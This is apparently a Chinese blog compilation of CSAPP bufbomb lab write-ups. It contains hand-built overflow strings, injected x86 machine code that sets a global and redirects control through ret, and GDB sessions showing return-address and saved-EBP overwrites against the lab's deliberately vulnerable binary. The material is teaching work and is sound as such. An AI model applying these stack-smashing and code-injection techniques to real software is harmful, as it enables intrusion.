    对于第2点,目标地址不应像Level 0那样设为fizz函数的首指令地址,因为fizz函数的第二条指令**“mov %esp,%ebp”**将覆盖掉在之前getbuf结束时通过leave指令设置的EBP寄存器中的目标值。本实验并不要求真地调用fizz函数,所以可以直接跳转fizz函数中在cmp比较指令前读取EBP寄存器中值的相应指令。综上所属我们可以构造如下攻击字符串:

    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66/* end of buffer */
    f8 d2 04 08
    1b 94 04 08
    

    前57个字节用于填充缓冲区,与实验目标无关,可以随意设置。接下来的4个字节用于改写栈桢中保存的EBP寄存器中旧值,也就是用于间接设置EBP寄存器的值,因此我们把这四个字节设置为EBP寄存器中的目标值,即全局变量cookid的地址,0x804d300 -0x8 ,等于0x804d2f8,并且按照小端顺序组织,再接着的4个字节将改写栈桢中保存的返回地址,把它设置为fizz函数中在比较指令之前读取EBP寄存器中值的指令 mov 0x8(%ebp),%edx它的地址0x804941b,同样按照小端顺序组织。这样的攻击字符串同时修改了栈桢中保存的EBP的旧值和返回地址。首先通过getbuf函数最后的leave指令,实现对EBP寄存器中值的设置,然后通过ret指令跳转到目标fizz函数中相应指令执行,从而实现了实验目标。

    GDB调试观察Level 1求解过程

    在fizz.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在fizz-raw.txt文件中。

    ./hex2raw < fizz.txt > fizz-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < fizz-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < fizz-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    查看EBP寄存器的旧值。

    (gdb) x/xw 0x556833c0
    0x556833c0 <_reserved+1037248>:	0x556833e0
    

    结果显示EBP寄存器的旧值是556833e0,在之后的攻击字符串将要改写这个值,同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a0
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,因此getbuf函数结束后将返回到test函数正常执行。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区。查看EBP寄存器的旧值是否改变。

    (gdb)  x/xw 0x556833c0
    0x556833c0 <_reserved+1037248>:	0x0804d2f8
    

    可以看到EBP寄存器的旧值的存储位置上的值已经变成了0x0804d2f8,这就是我们在攻击字符串中设置的cookie全局变量的地址减去8以后的结果。也就是说攻击字符串已经把栈桢中保存的EBP寄存器的旧值改变。

    查看返回地址的值是否发生变化。

    (gdb)  x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x0804941b
    

    可以看到返回地址的存储位置上的值已经变成了0x0804941b,这就是我们在攻击字符串中设置的指向了fizz函数中在比较指令之前读取EBP寄存器中值的地址。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c
    Continuing.
    Type string:Fizz!: You called fizz(0x6822364a)
    VALID
    NICE JOB!
    [Inferior 1 (process 67757) exited normally]
    

    程序输出可以看出我们成功调用了fizz函数,也就是成功完成了Level 1: fizz的实验任务。

    实验Level 2: bang

    实验目的:

    更复杂的缓冲区攻击将在攻击字符串中包含实际的机器指令,并通过攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。这样,当调用过程(这里是 getbuf)执行 ret 指令时,程序将开始执行攻击代码而不是返回上层过程。

    使用这种攻击方式可以使被攻击程序执行任何操作。随攻击字符串被放置到栈上的代码称为攻击代码(exploit code)。然而,此类攻击具有一定难度,因为必须设法将攻击机器代码置入栈中,并且将返回地址指向攻击代码的起始位置。

    在 bufbomb 程序中,有一个bang过程,代码如下:

    int global_value = 0; 
    void bang(int val)
    {
    	if (global_value == cookie) {
    		printf("Bang!: You set global_value to 0x%x\n",global_value);
    		validate(2);
    		} 
    	else
    	  printf("Misfire: global_value = 0x%x\n", global_value);
    	exit(0); 
    }
    

    本实验级别的任务是让 bufbomb 执行 bang 过程中的代码而不是返回到 test 过程继续执行。具体来讲,攻击代码应首先将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行

    注意事项

    • 可以使用 GDB 获得构造攻击字符串所需的信息。例如,在 getbuf 过程里设置一个断点并执行到该断点处,进而确定 global_value 和缓冲区等变量的地址。
    • 手工进行指令的字节编码枯燥且容易出错。相反,你可以使用一些工具来完成该工作。
    • 不要试图利用 jmp 或者 call 指令跳到 bang 过程的代码中,这些指令使用相对 PC 的寻址,很难正确达到前述目标。相反,你应向栈中压入地址并使用 ret 指令实现跳转。

    思路分析

    bang函数的汇编代码:

    
    08049466 <bang>:
     8049466:    55           push  %ebp
     8049467:    89 e5          mov  %esp,%ebp
     8049469:    83 ec 08        sub  $0x8,%esp
     804946c:    a1 08 d3 04 08     mov  0x804d308,%eax    //全局变量cookie的值
     8049471:    89 c2          mov  %eax,%edx
     8049473:    a1 00 d3 04 08     mov  0x804d300,%eax    //global_value的值
     8049478:    39 c2          cmp  %eax,%edx
     804947a:    75 25          jne  80494a1 <bang+0x3b>
     804947c:    a1 08 d3 04 08     mov  0x804d308,%eax
     8049481:    83 ec 08        sub  $0x8,%esp
     8049484:    50           push  %eax
     8049485:    68 a4 b0 04 08     push  $0x804b0a4
     804948a:    e8 d1 fb ff ff     call  8049060 <printf@plt>
     804948f:    83 c4 10        add  $0x10,%esp
     8049492:    83 ec 0c        sub  $0xc,%esp
     8049495:    6a 02          push  $0x2
     8049497:    e8 3b 09 00 00     call  8049dd7 <validate>
     804949c:    83 c4 10        add  $0x10,%esp
     804949f:    eb 16          jmp  80494b7 <bang+0x51>
     80494a1:    a1 08 d3 04 08     mov  0x804d308,%eax
     80494a6:    83 ec 08        sub  $0x8,%esp
     80494a9:    50           push  %eax
     80494aa:    68 c9 b0 04 08     push  $0x804b0c9
     80494af:    e8 ac fb ff ff     call  8049060 <printf@plt>
     80494b4:    83 c4 10        add  $0x10,%esp
     80494b7:    83 ec 0c        sub  $0xc,%esp
     80494ba:    6a 00          push  $0x0
     80494bc:    e8 6f fc ff ff     call  8049130 <exit@plt>
    

    通过bang函数的汇编代码可以看得到,global_value的地址是0x804d300,cookie的地址是0x804d308,为了完成实验的目的,我们首先需要将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。除此之外,我们还需要找到input string存放的位置作为第一次ret 指令的目标位置。

    Level 2求解思路

    1. 自定义设计指令,指令需要完成将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行等任务。
    2. 找到input string存放的位置作为第一次ret 指令的目标位置,在攻击字符串中对应返回地址的位置处。
    构造自定义攻击指令bang.s

    先将global_value 用mov指令变cookie (0x0804d308 前不加$ 表示地址),然后将bang()函数地址0x08049466写给esp,再执行ret指令时,程序自动跳入bang()函数,也就是如下所示:

    movl $0x6822364a,  0x0804d308
    pushl $0x08049466
    ret
    

    指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o再用objdump -d bang.o 读取machine code。

    将指令代码写入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的字节缓冲区首地址为**<0x55683387>**,综上所属我们可以构造如下攻击字符串:

    c7 05 00 d3 04 08 4a 36 22 68 
    68 66 94 04 08 c3 00 11 22 33
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00 11 22 33 
    44 55 66 77 88 99 00  /* end of buffer */  
    00 11 22 33
    87 33 68 55  
    

    前16个个字节就是我们自定义设计的指令代码,然后接下来的41个字节用于填充缓冲区,与实验目标无关,可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,可以随意设置。最后四个字节我们保存input string存放的位置作为第一次ret 指令的目标位置。

    GDB调试观察Level 2求解过程

    在bang.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在bang-raw.txt文件中。

    ./hex2raw < bang.txt > bang-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < bang-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < bang-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a0
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x55683387
    

    可以看到返回地址的存储位置上的值已经变成了0x55683387,这就是我们在攻击字符串中设置input string存放的位置作为第一次ret 指令的目标位置。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c
    Continuing.
    Type string:Bang!: You set global_value to 0x6822364a
    VALID
    NICE JOB!
    [Inferior 1 (process 2696) exited normally]
    

    程序输出可以看出我们成功调用了bang函数,也就是成功完成了Level 2: bang的实验任务。

    实验提示:生成对应汇编指令序列的字节代码

    为方便生成指令序列的字节编码表示(例如用于 Level 2-4),可以依次使用 GCC 和 OBJDUMP 对所设计完成特定攻击目标的汇编指令序列进行汇编并再反汇编,从而得到指令 序列的字节编码表示。

    例如,可编写一个 example.S 文件包含如下汇编代码:

    # Example of hand-generated assembly code 
    push $0xabcdef # Push value onto stack 
    add $17,%eax # Add 17 to %eax
    .align 4 # Following will be aligned on multiple of 4 
    .long 0xfedcba98 # A 4-byte constant
    

    然后,可如下汇编再反汇编该文件:

    linux>gcc -m32 -c example.S linux>objdump -d example.o > example.d
    

    生成的 example.d 文件包含如下代码行:

    0: 68 ef cd ab 00 push $0xabcdef
    5: 83 c0 11       add $0x11,%eax 
    8: 98             cwtl
    9: ba             .byte 0xba
    a: dc fe           fdivr %st,%st(6)
    

    其中,每行显示一个单独的指令。左边的数字表示指令的起始地址(从 0 开始),”:” 之后的 16 进制数字给出指令的字节编码(即实验所需的编码后的攻击字符串内容)。例如, 指令”push $0xabcdef“对应的 16 进制字节编码为”68 ef cd ab 00“。 然而,注意从地址“8”开始,反汇编器错误地将本来对应程序中静态数据的多个字节解释 成了指令(cwtl)。实际上,从该地址起的 4 个字节“98 ba dc fe”对应于前述 example.S 文 件中最后的数据 0xfedcba98 的小端字节表示。

    按上述步骤确定了所设计机器指令对应的字节序列“68 ef cd ab 00 83 c0 11 98 ba dc fe”后,就可以把该十六进制格式字符串输入 hex2raw 程序以产生一个用于输入到 bufbomb 程序的攻击字符串。更方便的方法是,由于 hex2raw 程序支持在输入字符串中包含 C 语言 块注释(以方便用户理解其中字符串对应的指令),可以编辑修改 example.d 文件为如下形 式(将反汇编结果中的指令说明变为注释):

    68 ef cd ab 00 /* push $0xabcdef */ 
    83 c0 11 /* add $0x11,%eax */ 
    98 ba dc fe
    

    然后就可将该文件做为 hex2raw 程序的输入进行实验

    展开全文
  • CSAPP缓冲区溢出攻击实验(上) 下载实验工具。最新的讲义在这。网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响...

    CSAPP缓冲区溢出攻击实验(上)

    下载实验工具。最新的讲义在

    网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响我们的实验。

    1.实验工具

    1.1 makecookie

    后面实验中,五次“攻击”中有四次都是使你的cookie出如今它原本不存在的位置,所以我们首先要为自己产生一个cookie。

    实验工具中的makecookie就是生成cookie用的。參数是你的名字:

    [root@vm bufbomb]$ file makecookie 
    makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped
    [root@vm bufbomb]$ chmod +x makecookie
    
    [root@vm bufbomb]$ ./makecookie cdai
    0x5e5ee04e

    1.2 bufbomb

    bufbomb就是我们要“攻击”的程序,我下载的实验工具的这个版本号在运行时必须有-t这个參数,表示本人的名字:

    [root@vm bufbomb]$ ./bufbomb 
    You must include a team name with -t
    Usage: ./bufbomb -t team [-n] [-s] [-h]
            -t team:   Specify team name
            -n :       Nitro mode
            -s :       Submit solution via email
            -h :       Print help information
    
    [root@vm bufbomb]$ ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:I love 15-213
    Dud: getbuf returned 0x1
    Better luck next time
    
    [root@vm bufbomb]$ ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:It is easier to love this class when you are a TA
    Ouch!: You caused a segmentation fault!
    Better luck next time

    1.3 sendstring

    sendstring小工具(新版叫做hex2raw)能读入我们的制作的string(十六进制)。将其发送到bufbomb的标准输入流。避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行:

    [root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
    
    [root@vm bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai

    2.热身准备

    2.1 “漏洞”代码

    以下这一段看似“无辜”的小函数就是产生安全漏洞的源头了,而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小。直接将用户输入的全部字符都保存进去。假设用户输入过多的字符,就会导致栈上某些数据被覆盖。从而造成了缓冲区溢出的危急:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }

    2.2 缓冲区栈分析

    在開始真正“攻击”之前。我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。

    仅仅有全面的了解了栈结构。后面实验时我们才干随心所欲地“攻击”它。

    首先,通过objdump反汇编getbuf()函数:

    [root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
    08048ad0 <getbuf>:
     8048ad0:       55                      push   %ebp
     8048ad1:       89 e5                   mov    %esp,%ebp
     8048ad3:       83 ec 28                sub    $0x28,%esp
     8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
     8048ad9:       89 04 24                mov    %eax,(%esp)
     8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
     8048ae1:       c9                      leave  
     8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
     8048ae7:       c3                      ret    
     8048ae8:       90                      nop
     8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
    

    依据getbuf()的汇编代码,如今分析一下运行时的栈结构是什么样子。基础知识能够看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来高速温习一下。这里就不赘述了。

    首先。未调用getbuf()之前。%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址,此时栈世界还是一片“风平浪静”:

    …………………………………………….. 0x??

    <- %ebp

    …………………………………………….. 0x00 <- %esp

    当test()运行到call 时。依据之前的学习。call指令和getbuf()的前两条“惯用”指令会完毕这三件事儿:

    • call指令保存返回地址:所谓保存返回地址(return address)事实上就是 call指令将那一时刻的PC(%eip值,即call的下一条指令的地址)压入栈。还记得吗?由于PC自增在先,指令运行在后。所以运行完getbuf()的全部代码后,ret指令会恢复PC的值。程序就能够继续运行test()的剩余代码了。
    • getbuf()保存test()的%ebp:将test()栈帧的base地址压入到栈上。
    • getbuf()保存test()的%esp:将test()栈帧的栈顶地址保存到getbuf()的%ebp,作为getbuf()的base地址。

      leave和ret指令会负责还原%ebp和%esp。

    依据这三条“惯例”,每一个函数的栈初始时都是一样的:先是return address,然后是保存的调用者的%ebp,当前的%ebp就指向这。而%esp依据分配空间的大小指向了“更低处”

    接下来就是分析getbuf()独有的部分了。

    開始进一步分析之前先确定两个规则:1)%ebp指向的地址作为0x00(相对地址);2)下图中寄存器指向的横线的上方是该地址上的数据

    1. lea -0x18(%ebp),%eax:利用lea运行复杂运算,%eax = %ebp - 0x18 = 0x18
    2. mov %eax,(%esp):改动%esp指向位置的值作为Gets()的入參。%(esp) = -0x28位置的数据 = -0x18
    3. call 80489c0 :调用Gets()函数。

    不考虑Gets()是怎样利用入參-0x18改动buf数组,默认它会完毕这个工作。那么getbuf()的栈在调用Gets()就是这个样子:

    …………………………………………….. 0x??

    ……………………………………………..
    Return Address
    …………………………………………….. 0x04
    Saved %ebp
    …………………………………………….. 0x00 <- %ebp

    ……………………………………………..
    -0x18 (%eax)
    …………………………………………….. -0x28 <- %esp (&arg0)

    了解到这里也就足够了。以下就能够进行实验了。

    温习:call, leave, ret
    call A:保存%eip,调用函数

    • push %eip
    • jmp A

      leave:还原调用者的%ebp和%esp,为退出函数做准备

    • mov %ebp, %esp

    • pop %ebp

      ret:改动%eip,返回调用者继续运行

    • pop %eip

    进一步回想:
    push A:将A压入栈,并改动栈顶指针%esp

    • mov A, (%esp)
    • %esp += 4

      jmp A:改动%eip。“跳到别处”继续运行

    • mov A, %eip

    2.3 GDB观察

    GDB是Linux下强大的调试工具。简单使用说明例如以下:

    1. gdb :准备调试程序,等同于先gdb。再file 。

    2. b :为函数设置断点。

      b是break的缩写。除了函数名。还能够是地址、当前运行处的+/-偏移等。

    3. run :開始运行程序。run后面能够加程序须要的參数,就像在命令行正常运行时那样。
    4. s/n/si/c/kill:s即step in,进入下一行代码运行;n即step next。运行下一行代码但不进入。si即step instruction。运行下一条汇编/CPU指令;c即continue,继续运行直到下一个断点处。kill终止调试。

    5. bt:bt是backtrace的缩写。打印当前所在函数的堆栈路径。
    6. info frame :描写叙述选中的栈帧。
    7. info args:打印选中栈帧的參数。
    8. print :打印指定变量的值。

    9. list:列出相应的源码。
    10. quit:退出gdb。

    3.“攻击”实验

    3.1 Level 0: 蜡烛

    实验1是要改动getbuf()的返回地址。在运行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。

    而且不用操心我们会破坏栈的其它部分,由于反正smoke()运行后也是要终止程序,这也减少了难度。

    void smoke()
    {
        printf("Smoke!: You called smoke()\n");
        validate(0);
        exit(0);
    }

    于是思路非常easy。依照前面的栈结构分析,我们仅仅需构造一段字符串让Gets()全部复制到buf数组了,从而造成缓冲区溢出。同一时候最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内。使其恰好覆盖到getbuf()的return address位置

    那么第一步。我们先要知道smoke()的初始地址。

    这非常easy。用objdump查看符号表或者.text都能找到:

    [root@vm bufbomb]$ objdump -t bufbomb 
    
    bufbomb:     file format elf32-i386
    
    SYMBOL TABLE:
    08048134 l    d  .interp        00000000              .interp
        ...
    08048f40 g     F .text  0000002a              bushandler
    08048eb0 g     F .text  0000002a              smoke
    00000000       F *UND*  00000017              rand@@GLIBC_2.0
    0804a1d0 g     O .bss   00000004              team
        ...

    能够清楚地看到smoke的初始地址是0x08048eb0,万事俱备。如今就能够构造“攻击”字符串了!既然题目都说了,破坏栈中的其它部分数据没关系,那除了smoke的地址。其它我们都能够“瞎写”了。

    buf第一个元素的地址是-0x18,而return address第一个字节的地址是0x04,两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数,我按00到99的顺序填充:

    [root@vm bufbomb]$ cat exploit.raw
    0011223344556677889900112233445566778899001122334455667708048eb0

    出乎意料的是第一次运行却失败了,bufbomb提示segment fault,还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿,直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就会指向一个非法的内存地址了,当然就报段错误了。将地址调整成b0 8e 04 08后,果然成功了!

    看到CMU对我说“NICE JOB!”热泪盈眶啊!

    [root@vm bufbomb]$ cat exploit.raw
    00112233445566778899001122334455667788990011223344556677b08e0408
    
    [root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:Smoke!: You called smoke()
    NICE JOB!
    Sent validation information to grading server

    3.2 Level 1: 烟火

    实验2与实验1大同小异,都是让getbuf()的调用者test()(不是getbuf())运行一个代码里未调用的函数。实验2中是fizz()函数。但实验2稍稍提高了难度。我们不仅要想法让test()运行fizz(),还要传入我们的cookie作为參数。让fizz()打印出来才算成功。

    void fizz(int val)
    {
        if (val == cookie)
        {
            printf("Fizz!: You called fizz(0x%x)\n", val);
            validate(1);
        } else
            printf("Misfire: You called fizz(0x%x)\n", val);
    
        exit(0);
    }

    第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60,仅仅要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()运行完毕后返回到fizz()中(注意不要再忘记小尾端字节序)。也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。

    第二步非常easy,用makecookie生成我的username”cdai”的cookie是0x5e5ee04e,那么如今的问题是怎样正确设置fizz()的入參呢?之前我们着重温习了call运行时被调用者要做的三件事儿,如今就温习一下调用者要做的事儿。

    重温一下getbuf()的反汇编代码,以getbuf()调用Gets()为例,看一下调用者的代码和相应的栈:

    [root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
    08048ad0 <getbuf>:
     8048ad0:       55                      push   %ebp
     8048ad1:       89 e5                   mov    %esp,%ebp
     8048ad3:       83 ec 28                sub    $0x28,%esp
     8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
     8048ad9:       89 04 24                mov    %eax,(%esp)
     8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
     8048ae1:       c9                      leave  
     8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
     8048ae7:       c3                      ret    
     8048ae8:       90                      nop
     8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
    
    [root@vm bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
    08048e60 <fizz>:
     8048e60:   55                      push   %ebp
     8048e61:   89 e5                   mov    %esp,%ebp
     8048e63:   83 ec 08                sub    $0x8,%esp
     8048e66:   8b 45 08                mov    0x8(%ebp),%eax
        ...

    调用Gets()之前。getbuf()负责将參数压入到栈上,參数位置是(%esp),即栈顶所指的位置。有了这个知识。我们就能够为fizz()准备入參了。但要注意三点:

    1. 多个參数的顺序问题:假如Gets()有两个參数,參数在栈上的地址顺序是:低地址(靠近栈顶)是第一个參数。高地址是第二个參数。
    2. 栈指针%ebp和%esp:当我们溢出缓冲区到getbuf()栈上的return address位置时,实际上破坏了栈上的其它数据。包含Saved %ebp。

      这样getbuf()运行return恢复%ebp时实际上是无法正常恢复到test()的位置了。注意:损坏的仅仅是%ebp。由于%esp是用%ebp还原的而不是在栈上保存的(leave=mov %ebp, %esp; pop %ebp)但这都没有关系。仅仅要開始运行fizz(),fizz()依照“惯例”会将事实上已“损坏”的%ebp再次保存到栈上,并从完善的%esp处继续运行

    3. 别忘了return address:前面讲过call指令在跳转前会压入%eip作为return address。

      也就是说fizz()的%ebp(指向saved %ebp)和调用者准备好的入參之间是隔着return address的。

    这时的栈看起来非常别扭。这非常正常。由于正常情况下,getbuf()运行后应回到它的调用点,但由于我们有益破坏了它的栈,所以 getbuf()的return运行后却马上进入了还有一个函数fizz(),看起来也就不足为奇了。

    …………………………………………………………………………….. 0x?

    ?


    Data on caller’s stack => fizz()’s argument: 4ee05e5e
    …………………………………………………………………………….. 0x0c
    Data on caller’s stack => fizz()’s return address: padding 00112233
    …………………………………………………………………………….. 0x08
    Return Address of getbuf() => fizz()’s entry point: 608e0408
    …………………………………………………………………………….. 0x04
    Saved %ebp => padding 44556677
    …………………………………………………………………………….. 0x00 <- %ebp
    Buf on getbuf()’s stack => padding 00~99 00~99 00~33
    ……………………………………………………………………………..
    -0x18 (%eax)
    …………………………………………………………………………….. -0x28 <- %esp (&arg0)

    以下就是进入fizz()之后的样子:依照调用者“惯例”和call指令,入參和返回地址(%eip)被压入栈上。依照被调用者“惯例”,fizz将%ebp压入栈后移动到%esp,并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()!

    从fizz()的反汇编结果也验证了这一点。sub $0x8, %esp分配栈空间后。mov 0x8(%ebp), %eax将入參保存到寄存器%eax中。对比以下的栈,%ebp隔着压入栈的调用者的%ebp和返回地址8字节,因此0x8(%ebp)恰好就是我们“攻击”时放置的入參值。

    …………………………………………………………………………….. 0x??


    fizz()’s argument: 4ee05e5e
    …………………………………………………………………………….. 0x0c
    fizz()’s return address: 00112233
    …………………………………………………………………………….. 0x08
    Saved %ebp: 44556677
    …………………………………………………………………………….. 0x04 <- %ebp

    …………………………………………………………………………….. 0x00

    …………………………………………………………………………….. -0x08 <- %esp

    [root@vm bufbomb]$ cat exploit_level_1.raw 
    00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e
    
    [root@vm bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
    Team: cdai
    Cookie: 0x5e5ee04e
    Type string:Fizz!: You called fizz(0x5e5ee04e)
    NICE JOB!
    Sent validation information to grading server

    转载于:https://www.cnblogs.com/lcchuguo/p/5351711.html

    展开全文
  • 缓冲区溢出攻击实验(三)

    千次阅读 2015-11-19 16:30:57
    缓冲区溢出攻击实验(一)(二)分别介绍了先关知识和shellcode机器码的获得,这一篇就阐述怎么利用别人程序中的缓冲区溢出漏洞实施攻击; 三、缓冲区溢出漏洞攻击 1.一个存在缓冲区溢出漏洞的demo  下面的一个demo...
  • 就是计算机系统基础的那个缓冲区溢出实验实验报告很详细。
  • 缓冲区溢出攻击 一、实验目的: 加深对IA-32函数调用规则和栈帧结构的理解 二、实验要求: 构造5个攻击字符串,对目标程序实施缓冲区溢出攻击。 5次攻击难度递增,分别命名为 Smoke (让目标程序调用smoke函数...
  • CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。 栈结构: ...
  • 前言 完成这个实验大概花费一天半...CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom lab3要我们做这样一件事情,修改一个正在运行程序...
  • 缓冲区溢出攻击实验【一】(32位)

    千次阅读 2018-06-02 23:05:30
    实验项目名称: 缓冲区溢出攻击实验 一、实验目标:1. 理解程序函数调用中参数传递机制;2. 掌握缓冲区溢出攻击方法;3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。二、实验环境:1. 计算机(Intel CPU)...
  • 实验8 缓冲区溢出攻击实验

    万次阅读 2008-03-17 08:44:00
    实验8 缓冲区溢出攻击实验缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞。缓冲区是一段连续内存空间,具有固定的长度。缓冲区溢出是由编程错误引起的,当程序向缓冲区内写入...
  • CSAPP 缓冲区溢出攻击实验

    千次阅读 2018-07-10 01:24:56
